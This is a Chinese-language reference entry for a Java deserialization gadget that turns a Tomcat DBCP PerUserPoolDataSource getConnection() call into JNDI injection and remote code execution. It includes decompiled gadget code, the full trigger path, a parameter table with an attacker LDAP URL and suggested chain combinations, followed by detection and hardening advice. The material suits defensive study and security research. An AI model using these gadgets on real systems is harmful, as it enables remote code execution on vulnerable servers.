- 类别:javanative 别名:— 优先级:—
- 作者:—
- 依赖:
org.apache.tomcat:tomcat-dbcp < 8(内含org.apache.tomcat.dbcp.dbcp2.datasources.PerUserPoolDataSource) - 实现:
Gadget
一句话:构造一个 org.apache.tomcat.dbcp.dbcp2.datasources.PerUserPoolDataSource,把其 dataSourceName 设为攻击者可控的 JNDI 地址。当上游触发它的 getConnection()(即读取 connection 属性 / 调用特殊公有方法)时,DBCP2 的 InstanceKeyDataSource 基类会用 dataSourceName 发起 JNDI 查找,从而把「任意 getter / 方法触发」桥接为 JNDI 注入(LDAP/RMI → 远程加载恶意对象 → RCE)。它是 DataSourceChains 家族中的一个 END 型 JNDI sink。
本 gadget 的 @GadgetTags 为 tags={"DataSourceChains","SpecialPublicMethod","Getter","END"},nextTags 为空。
- 入口
tags:DataSourceChains—— 承接「会对一个DataSource对象调用方法」的上游 gadget(nextTags含DataSourceChains者),如 Fastjson、Fastjson2、Jackson、JacksonToString、FastjsonToString1/FastjsonToString2、Rome 系列、DWrap(Spring AOP 包裹层)。SpecialPublicMethod—— 触发点不是标准 JavaBean getter 语义,而是按方法名直接调用公有方法getConnection()(无参、返回Connection)。invoke通过SPECIAL_METHOD_NAME_KEY告知上游要调用的方法名,使那些「按名调用方法而非按属性」的触发器也能命中。Getter—— 同时也能以 bean 属性connection的读取方式(getConnection)触发,invoke通过GETTER_PARAM_NAME_KEY告知属性名connection。两者并存,覆盖不同触发风格的上游。END—— 就 gadget 图而言这是终点:其后不再衔接另一个 gadget,真正的「下一跳」是外部 JNDI 服务器(不在链定义内)。
- 衔接
nextTags:(无)—— 与END一致,本 gadget 自身即 sink,不向下游 gadget 传递。 excludes:(无)。
反编译源码极为精简,全部逻辑在 getObject() 与 invoke() 两个方法:
@GadgetTags(tags={"DataSourceChains", "SpecialPublicMethod", "Getter", "END"})
@GadgetAnnotation(name="TomcatDbcpDataSource2 JNDI",
description="tomcat中的dbcp,可通过getter 方法(getConnection)触发此链,转为jndi利用\n"
+ "org.apache.tomcat.dbcp.dbcp2.datasources.PerUserPoolDataSource",
dependencies={"org.apache.tomcat:tomcat-dbcp < 8"})
public class TomcatDbcpDataSource2 implements Gadget {
private final String getterMethodName = "getConnection";
private final String getterPropertyName = "connection";
@Param(name="Jndi地址")
public String jndiUrl = "ldap://127.0.0.1:1389/x";
public Object getObject() {
PerUserPoolDataSource dataSource = new PerUserPoolDataSource();
dataSource.setDataSourceName(this.jndiUrl); // 关键:dataSourceName = 攻击者 JNDI URL
return dataSource;
}
@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
context.put(ContextTag.SUPER_CLASS_NAME_KEY, DataSource.class); // 声明该对象应以 DataSource 接口对待
context.put(ContextTag.SPECIAL_METHOD_NAME_KEY, "getConnection"); // 特殊公有方法触发点
context.put(ContextTag.GETTER_PARAM_NAME_KEY, "connection"); // 等价的 getter 属性名
return this.getObject();
}
}逐段解释:
getObject()—— 构造 sink 对象。new PerUserPoolDataSource()创建 DBCP2 的按用户分池数据源;setDataSourceName(jndiUrl)把内部字段dataSourceName设为攻击者的 JNDI URL。PerUserPoolDataSource继承自org.apache.tomcat.dbcp.dbcp2.datasources.InstanceKeyDataSource:当其任一getConnection()重载被调用时,基类会走getPooledConnectionAndInfo(...)→ 对dataSourceName执行new InitialContext().lookup(dataSourceName)以取回底层ConnectionPoolDataSource。因此把dataSourceName指向ldap://…/rmi://…,getConnection()一旦被调用即发起对外 JNDI 查找。invoke()—— 不消费内层对象,纯 sink。 注意它没有调用chain.doCreate(context):这与END标签一致——本 gadget 是链尾,不包裹任何下游 gadget 产物。它做的是往GadgetContext写入三个协商键,供上游触发器读取:SUPER_CLASS_NAME_KEY = DataSource.class:告知上游「这个对象要按javax.sql.DataSource接口来处理」(例如生成代理、按接口方法探测时使用)。SPECIAL_METHOD_NAME_KEY = "getConnection":告知按名直接调用的公有方法(对应SpecialPublicMethod标签)。GETTER_PARAM_NAME_KEY = "connection":告知等价的 bean 属性名(对应Getter标签)。上游 gadget(如 Jackson/Fastjson/Rome 的 getter 触发器)据此知道要读哪个属性/调哪个方法,才能命中getConnection()。
- 字段
getterMethodName/getterPropertyName为private final常量,仅作类内自述,实际生效的是invoke中写入 context 的字符串。
触发链路(反序列化后):上游触发器 → PerUserPoolDataSource.getConnection() → InstanceKeyDataSource.getPooledConnectionAndInfo() → InitialContext.lookup(dataSourceName) → 远程 LDAP/RMI 返回恶意 Reference/序列化对象 → JNDI 注入 RCE。
| 字段 | 名称 | 说明 | 类型 | 默认值 | 可选值 |
|---|---|---|---|---|---|
jndiUrl |
Jndi地址 | 写入 PerUserPoolDataSource.dataSourceName,getConnection() 触发时对其做 JNDI 查找的目标地址 |
String |
ldap://127.0.0.1:1389/x |
—(自由填写,通常为攻击者控制的 ldap:// 或 rmi://) |
- 依赖:
org.apache.tomcat:tomcat-dbcp < 8。此区间 tomcat-dbcp 打包了 DBCP2 的org.apache.tomcat.dbcp.dbcp2.datasources.PerUserPoolDataSource(源码 CFR 注释Could not load … PerUserPoolDataSource属正常,缺失第三方类不影响逻辑)。 - 原理要点:利用点是
InstanceKeyDataSource#getConnection()内部对dataSourceName的 JNDI lookup——一个「读属性即联网」的危险公有方法,无需序列化魔术方法,只要上游能触发一次getConnection()即可。 - JNDI 注入的最终 RCE 仍受目标 JDK 约束:高版本 JDK(8u191+/11.0.1+ 等)默认
com.sun.jndi.ldap.object.trustURLCodebase=false、rmi同理,远程 codebase 加载被禁;此时需结合本地 factory / 反序列化二次利用等绕过手段。 - 同族变体矩阵(同目录,触发协商逻辑完全一致,仅 sink 数据源类与依赖区间不同):
- TomcatDbcpDataSource:
< 8,sink 为org.apache.commons.dbcp.datasources.SharedPoolDataSource。 - TomcatDbcpDataSource2(本条):
< 8,sink 为org.apache.tomcat.dbcp.dbcp2.datasources.PerUserPoolDataSource。 - TomcatDbcp2DataSource / TomcatDbcp2DataSource2:
>= 8,分别对应 SharedPool / PerUserPool 变体。 - 更广的 DBCP 家族还有 CommonDbcpDataSource/CommonDbcpDataSource2/CommonDbcp2DataSource/CommonDbcp2DataSource2(
commons-dbcp非 tomcat 打包版)。
- TomcatDbcpDataSource:
usedInChains 为空——自由构件,未直接出现在 51 条预设链中。可按标签自行组合:以任一 nextTags 含 DataSourceChains 的 getter 触发型 gadget 作上游,本 gadget 作 END sink,例如
[Fastjson, TomcatDbcpDataSource2]、[Jackson, DWrap, TomcatDbcpDataSource2](经 DWrap 做 Spring AOP 代理包裹以提高 Jackson 触发稳定性)。
- 上游(
nextTags=DataSourceChains→ 触发getConnection):Fastjson、Fastjson2、FastjsonToString1、FastjsonToString2、Jackson、JacksonToString、Rome1~4 / RomeEqualsBean1-2 / RomeToStringBean1-2、DWrap。 - 同族 sink:TomcatDbcpDataSource、TomcatDbcp2DataSource、TomcatDbcp2DataSource2;同为「getter/方法触发 → 外联」的 DruidDataSource(走 JDBC URL 而非 JNDI)、C3P0 系列。
- 序列化指纹:payload 字节流 / 反序列化白名单中出现
org.apache.tomcat.dbcp.dbcp2.datasources.PerUserPoolDataSource、InstanceKeyDataSource,或伴随的上游触发类(com.fasterxml.jackson.databind.node.POJONode、com.rometools.rome.feed.impl.ObjectBean、fastjsonJSONObject等),应高度警惕。 - 运行时行为:进程在反序列化上下文中调用
DataSource.getConnection()后立即产生对外LDAP(389/636)/RMI(1099)连接,是强特征。可对InitialContext.lookup加钩子/审计,或在 SIEM 中关联「反序列化调用栈 + JNDI 出站」。 - 加固建议:
- 反序列化入口启用类白名单(JEP 290
ObjectInputFilter或框架级 resolveClass 校验),拒绝*.dbcp*.datasources.*DataSource、InstanceKeyDataSource等非业务类。 - 升级 JDK 并保持
com.sun.jndi.ldap.object.trustURLCodebase=false/com.sun.jndi.rmi.object.trustURLCodebase=false(默认即为 false),阻断远程 codebase 加载。 - 出站方向对应用服务器限制到 LDAP/RMI 的连接(默认拒绝),切断 JNDI 注入的回连通道。
- 尽量升级或移除受影响的
tomcat-dbcp < 8;确无必要时不要在可被外部数据反序列化的组件中引入 DBCP 数据源类。
- 反序列化入口启用类白名单(JEP 290